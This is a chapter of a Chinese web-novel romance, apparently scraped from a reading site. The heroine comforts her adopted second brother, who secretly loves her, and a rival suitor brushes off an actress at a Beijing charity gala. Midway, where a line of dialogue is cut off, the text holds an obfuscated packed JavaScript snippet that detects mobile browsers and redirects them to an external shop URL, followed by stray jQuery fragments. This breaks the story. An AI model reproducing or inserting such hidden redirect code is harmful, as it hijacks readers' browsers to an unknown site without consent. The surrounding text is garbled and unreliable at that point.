文趣网 > 其他小说 > 无原则沦陷 > 18. 她不老实
    这栋属于果果的小楼里,除了那些他小时候的玩具、相册还有一些用品之外,另外堆满了许多随着年月增长的崭新礼物盒。

    那都是每年双胞胎过生日时,每个家人额外给那位未归的游子准备的礼物,他们小心翼翼猜测着一个男孩子在不同年龄段可能会偏爱的赛车,乐高,天文望远镜之类的。

    宋霁雲走进屋子,目光划过展示柜上一张五岁双胞胎的合照,照片里是两张同样稚气的小脸,小时候的他们毫不客气的互相捏着对方的脸蛋。

    她和弟弟最相似的部分只有一双黑亮的瞳仁。

    一种没由来的异样感飞快地划过心头,今天……她好像在哪里看到过相似的眉眼轮廓。

    可到底在哪里呢?她尚且来不及细想,显然眼前这个身上带着酒气的二哥更需要人照顾。

    宋霁雲放轻脚步走近他,手掌撑着膝盖,半蹲下来,眼底盛满纯粹的温柔与关切,“你还好意思说我,你自己不也大半夜不睡觉,跑来果果的房间里喝什么闷酒哦。”

    宋焕之闻言,借着酒意定定地看着她,女孩眨着清澈无邪的眼眸,眉眼皎然,像一面干净的镜子。

    别看他,不要注视他。

    不要照见他糟糕的一面。

    男人避开她的眼睛,“睡不着,就过来看看。”

    “我总是很好奇,他小时候的生活到底是怎样的。”

    这番话落在宋霁雲的耳朵里,只觉得不明所以,但宋焕之隐在光影里的面容流露出的孤寂是罕见的,她犹豫了下,还是伸出手,像小时候那样拍了拍他的肩膀。

    自从渐渐长大以后,男女有别,童年时那种毫无保留的亲密无间,就在他单方面设下的冷墙下变得克制且守礼。

    她其实一直搞不懂,宋焕之明明只比她大几岁,干嘛总是要端出一副比大哥还要古板肃谨的样子。

    宋焕之在她触碰到肩头的刹那,肌肉骤然紧绷,又强迫自己如同无事发生般慢慢放松下来。

    酒杯被他随意地放置在地毯旁,宋霁雲在他旁边坐下,肩膀毫无防备地紧挨着。

    他顺势仰头,靠向沙发,听着她娇声地猜测:“怎么啦?是不是工作上受到什么打击啦?还是董事会那个姓张的臭老头又欺负你了?”

    要她说,那姓张的早就该退休了,整天仗着华沭当年开拓北欧市场时,他是入股的元老之一,就在集团横行霸道的,可恶的要命。

    宋霁雲脑海中灵光一现,想到了什么好玩的,轻笑出声,“实在不行,你就跑去和爸爸还有大哥撒娇打滚咯!”

    “或者……你现在委屈一下,求求我,给我撒个娇?等明天天亮,我去董事会给你撑腰呀。”

    她可是有华沭6%的原始股,也是董事会成员之一呢。

    宋焕之被逗笑,眉眼柔和下来:“没有的事。有爸和大哥坐镇,没人敢随便给我脸色看。”

    顿了顿,他又说:“怎么,是不是又想做你的公主与骑士游戏了?”

    被戳中童年黑历史,宋霁雲脸微微一烫,有些不自在,小时候她多少有点中二,觉得自己是能够拯救世界的魔法小公主,而初来乍到的宋焕之,就是那个必须对她俯首称臣,配合她演出的可怜小骑士。

    他们之间有太多回忆,是比青梅竹马更加亲密的存在,他们是兄妹。

    她撅了撅唇:“那是你心甘情愿陪我玩的!”

    闻言,宋焕之心脏抽紧又松缓,他轻描淡写又举重若轻,缓声:“对,是我心甘情愿。”

    当然,是他心甘情愿。

    十几年前的事他至今都清晰记得,福利院那天的早餐格外的丰盛,热气腾腾的小馄饨,可可牛奶还有一个肉松面包,他吃的很饱。老师拍着手笑眯眯的宣布,今天会来一个大人物,让他们好好表现。

    他们排列成一个队列,等在草坪前,眼看着铁门被推开,鱼贯驶入的豪车车队光洁蹭亮,他甚至都认不出那些汽车品牌,但每一个牌照数字却都好记到入目便能背下。

    那个仿佛洋娃娃般精致的小女孩从中央的车里走出来,掠过那么多的男孩,最后在他面前站定,雪色大衣,粉色围巾,羊毛手套,小皮靴,脚下不沾尘,洁净又光亮,像来自另一个世界,她不该出现在这里。

    他站在人群里,卑微如泥,艰难竭蹶,如此灰蒙。

    温暖的小手塞进他冻得通红蜷缩起来的手掌,摇晃了下。

    小女孩对着端庄的女人撒娇:【妈妈,我就要这个哥哥了好不好?】

    【我喜欢他。】

    他被她牵着拉进温暖干燥的车厢里,步入另一个世界,从那一刻起他就知道,那是他的光,是降临的神迹,是他的诺亚方舟。

    后来他才知道海城宋家走丢了一个小少爷,为了积福,才打算收养一个差不多年龄的男孩子,他年龄不够合适,是宋霁雲吵着要他,坚定选择了他。

    宋霁雲什么错都没有,沾上五毒八苦的是他。

    在日复一日的朝夕相处间,他不可抑制又心甘情愿的在沉坠,说不出口的话有太多。

    不要把他当哥哥好不好?多喜欢他一点好不好?变成爱情好不好?

    每一句话都被他吞咽掉了。

    怎么办呢?

    又能怎么办呢?近不能,爱不得,绳索套在他自己身上,他没办法。

    宋霁雲当然搞不懂他在想什么,只觉得今晚真是邪了门了,不光自己矫情地发了一堆感慨,就连平日里向来坚不可摧的二哥,也好像很有感触地喝起了闷酒。

    不过,既然是家人心情不好,她这个做妹妹的,当然要首当其冲,负责好好安慰一番啦。

    她侧过身,大大方方地伸出手臂:“来吧,虽然你没有撒娇,但我还是勉为其难抱抱你吧。”

    “抱抱,抱抱就好啦!”她又说。

    这个拥抱,温暖,明亮又好纯粹。她从来都是个诚挚又赤忱的人。

    她的柔软是限定,只对她想开放的人无限量。

    那些汹涌的,压抑的又扭曲的东西,最终化作了温柔涌动的泉流,在他的四肢百骸间缓息流淌。

    宋焕之甚至没有回抱她,任由她虚虚的圈着。

    “糖糖。”他声音平静到连自己都诧异,“你以后……就算有了男朋友,或者嫁给了谁,我也永远永远都会是你的哥哥。”

    宋霁雲觉着好笑,这都什么乱七八遭的呀,不是哥哥还能是什么,但为了安抚这个明显情绪低落的哥哥,她还是压住了笑意,嗯了声。

    宋焕之从她的拥抱中退了出来,重新换上了那副威严的兄长口吻:“时间不早了,快回房去睡觉。别以为我不知道你天天躲在画室里熬夜。”

    他和宋霁雲所住的两栋小楼,地理位置设计得十分微妙,是一个微小的对立切角,两人窗户距离适中,恰好行成了一个极佳的观察视角。

    宋霁雲气鼓鼓的站起身,搞什么嘛,她好心安慰他,结果转脸就变成了管教她,她哼了声,跺了跺脚,口中念叨着讨厌的宋焕之,转身就跑。

    门被带上,吞没了走廊的灯光,室内重新归于寂暗昏暝。

    宋焕之依旧坐在地毯上,视线落于那杯冰块消融的水晶酒杯,眼神像要碎完了。

    高悬于夜空的皎洁月亮,不偏不倚地躺在杯底。冷冷清清,遥不可及,静静的回望着他。

    **

    京市,宝格丽酒店大宴会厅,由元启资本牵头主办的慈善基金晚会正进行低调而奢华的进行着,挑高的穹顶,施华洛世奇水晶流苏倾泄而下,繁复的金箔浮雕,数排白百合与香槟玫瑰点缀的长桌,悠扬的弦乐四重奏在角落流淌。

    宾客们穿梭于衣香鬓影与觥筹交错之间,每一次碰杯,每一句低声交谈,都可能伴随着数亿量级利益的置换与合作。

    晚宴过半,该敲定的合作意向,该互相探寻的虚实底细,也都已经差不多过了明路。

    齐望昭独自退居到了宴会厅侧方的半圆形露台边,修长的手指抵住喉结处的暗金领带,往下扯松半分,敲开烟盒,眉眼里略带几分兴致缺缺和懒怠。

    “齐董。”身旁有人见机凑了过来,殷勤地递上火机替他拢火。

    他略偏了头,俯仰之间,深刻俊美的五官半沉入夜色的阴翳里,随即又被那一豆跃动的火光点亮,橙红色的光晕勾勒着他的深邃的眉骨,鼻梁,薄唇,浑然天成的高贵与性.感。

    很快就有人蠢蠢欲动,一位受邀出席的女星正目不转睛地望着这边,成熟的男人举手投足间,包裹在裁剪合体西服下的肌肉线条流畅又壮硕。

    并不是什么有钱人都能入她的眼,更何况就算不为权也不为财,光凭齐望昭这个男人本身的优越皮相和身材,就足以令人见猎心喜,想与他春风一度。

    女人挪步间,整理了头发和耳饰。

    “齐先生。”高脚杯递至齐望昭的面前,对方笑容恰当,姿态既不过分谄媚,又透着邀请的暧昧,“不知道有没有这个荣幸,赏脸喝杯酒?”

    原本还在一旁攀谈的旁人见状,十分识趣地笑着退开,将空间留给了这两人。

    齐望昭指间夹着烟,没有立刻答话,目光在她的酒杯上淡淡地定格了一瞬。

    那是一杯用伏特加作为基底调配的鸡尾酒,蓝色由浅至深层层叠叠,洒着金粉,杯沿上,还精巧地卡着一片翠绿的切片青柠。

    这短暂的静默,落在女人眼里却成了默许的信号,唇角笑意加深,柔声细语地开始为他介绍这杯深海之吻。

    然而齐望昭并没有在听。

    看到这杯酒的那一瞬,他的思绪却被拽回到了海城那场接风宴上的两杯白兰地,苦的,辣的,涩的滑过喉管,烧的他当时神经都在隐隐作痛。

    “齐先生?”

    直到酒杯又往他跟前递近了几分,齐望昭才意识到,自己居然在这种声色犬马的场合中走神了。

    那张素来八风不动的面庞上,没由来地漾开一抹微小的笑意,他只是在笑自己,只是一杯酒而已,都能让他的思绪不受控制地飞回到她身边。

    齐望昭没有伸手去接杯子,骨子里那份世家修养却让他依然维持着良好的风度。

    “抱歉,女士。”低醇的嗓音里掺着不易察觉的冷感,“我平时不喝伏特加。”

    然而这位被追捧惯了的女星,却被他方才唇边那一闪即逝的浮浅笑意所迷惑,甚至没有品出这句话背后的警告意味。

    就在她靠近的瞬间,齐望昭眼底的温度终于褪去,他本就不是一个多有耐心的男人。

    他慢条斯理的吸了口烟,薄淡的烟雾弥漫过男人沉冽的眉眼,他的目光淡泊又睥睨,只一息,温和贵重的贵公子气场变化的太快,像猛兽睁开眼瞳,凛冽而威严。

    **

    直到那女星仓惶地离去后,一直站在不远处看好戏的宴廷柏,这才不紧不慢的走上前去。

    “怎么一个人躲

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17862745|212078||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    在这里抽烟?”宴廷柏的语气透着多年发小间的熟稔,他举杯隔空朝齐望昭的方向示意了一下,“阿池那家伙前阵子在京市组了那么多次,变着法儿想约你。结果你倒好,一声不吭的直接跑到海城去了。”

    齐望昭手指轻叩,弹落一截烟灰,漫不经心地回敬:“他组的那些局,你不也是十次里面要推脱躲掉个七八次?怎么,现在倒有底气跑来替他找回场子了?”

    宴廷柏才不自找没趣,有病才上赶着挨怼,“行行行,不说这个了。”

    他话锋一转,操心起好友的婚姻大事,“我可是听说,蒋女士前几天费了老大的劲,给你在海城那边物色了一个不得了的相亲对象?”

    “是海城宋家那位被宠上天的小公主,对吧?”

    齐望昭闻言,原本半垂的眼帘微微抬起,清淡地扫了他一眼,示意他继续往下说。

    宴廷柏毫无察觉,兴致勃勃地发表起自己的见解来:

    “这事儿啊,我是真不得不说,你们家大小姐这挑儿媳妇的眼光真是精准到位!那位宋小公主据说长得可是貌美如花,娇艳无双,不过她平时不在京市圈子里露面。也不知道这回能不能借着你的光,一睹那位大小姐的真容啊。”

    话音落下,空气骤然安静下来,陷入了一阵令人心底发毛的静谧。

    齐望昭没有接话,只是微微眯起眼眸,静静地锁定着眼前的发小。

    哪怕是从小相处到大的发小,甚至还一起留了学,宴廷柏也被这眼神盯得头皮发麻,这才后知后觉地反应过来,自己说了什么大逆不道的话。

    “不是吧你?”他简直无语到了极点,“我就是随口这么一提而已,你至于吗?你可真是我大哥,再说了,我是个有老婆,洁身自好的好男人好吗?”

    “而且,八字还没一撇呢,就是见了一面相了个亲而已,你这吃相也不怕把人家娇滴滴的小姑娘给直接吓跑啊。”老牛吃嫩草,老房子着火,宴廷柏满肚子槽点不知和谁说。

    “她本来就是我女朋友。”齐望昭的口吻很淡,对于好友口中的吓跑两个字,他觉得刺耳。

    他要能让宋霁雲再跑第二次,索性整个元启都拱手让人得了。

    “??”

    就在宴廷柏震惊于齐望昭居然也会闲的发慌,玩这种男女相亲的角色扮演小游戏之时。

    宴会大厅的鎏金双开大门处,闪光灯的声音此起彼伏,众人或明或暗的视线纷纷被吸引过去。

    一对男女正携手从门口逆光踏入,这种俊男美女的组合在这种场合并不罕见,最引人瞩目的是年轻的男人并没有急着往里走,而是体贴地低着头,弯腰替身边的女人整理着那繁复的礼服裙摆。

    “今天倒真是稀奇。”宴廷柏顺着骚动看过去,低声嘀咕,“港城温家那位眼高于顶的大小姐,今天居然转性了,带了她那个刚出道不久的弟弟来做男伴?温星屿……是叫这个名字吧?”

    “据说,温大小姐要和海城的赵家联姻,有计划往内地发展。”

    齐望昭对这种名流圈的八卦毫无兴趣,眼角的余光随意地扫了过去。

    然而只这一眼,他的目光有了一瞬短暂的停顿,对方介于少年和成熟男人之间的眉宇轮廓,竟然给他一种似曾相识的熟悉感,但这种感觉来得快去得也快,如同一缕抓不住的风。

    齐望昭暗自哂笑,大概是他最近被那位公主给折腾的有些魔怔了,怎么能离谱到这种地步,看谁都觉得像她。

    宴廷柏起了谈兴:“不过说起来,这温星屿在家世这块儿上,倒是和你那位未来二舅哥,宋家的二公子一模一样。”

    此时,温星屿正举着酒杯,借着身高优势,替她挡去了几位老总的敬酒,他精致到近乎女气的眉眼低垂,微微倾身,一瞬不瞬地定格在正与人谈笑风生的温岁宜脸上。

    若说两人是一对感情深厚的亲姐弟,那这份隐晦且浓烈到病态的凝视,显然已经完全逾越了那条道德的界限,反而更像是一对彼此心照不宣,正在拉扯着禁忌界限的地下情人。

    而宋焕之,和温星屿又有什么差别,一样躲在阴暗的罅隙里,觊觎着他们不该觊觎的人。

    齐望昭的呼吸沉半寸,他不想在外人面前暴露出自己对宋霁雲身边任何男性的介意,显得他斤斤计较,有失风度。

    “宴廷柏,你话很多。”他淡淡地吐出几个字,语气凉飕飕的,不怒自威。

    宴廷柏默默止住话头,直觉好似踩中了这位大少爷的老虎尾巴。

    于是再次转移话题:“那不说这个了,说点正事啊。宋小姐过阵子不是要来京市举办个人油画首展了吗?我那个小妹平时就喜欢看看画展,买买油画,听说这次画展是华沭和京美联合承办的。”

    宴廷柏理所当然地讨要:“正好啊,你女朋友的主场,那给张VIP邀请函总是轻而易举的吧?你可别吝啬啊。”

    一提到画展,齐望昭原本就微愠的眸色,又暗沉几分。

    去了海城三天,这小姑娘嘴巴里就没半句实话,视频里撒娇撒的他心都软了,偏偏这时不知又在谋划什么不想让他掺和的事,全不把他当回事。

    什么号码牌,什么床.伴,全都是满口不知所谓的胡言乱语,他居然也纵着。

    满腔的怒火无处发泄,无辜的发小不知道他第二次踩了老虎尾巴。

    男人长腿随意交叠,靠向椅背,姿态矜贵又冷酷:“一张都没有。你自己想办法去弄。”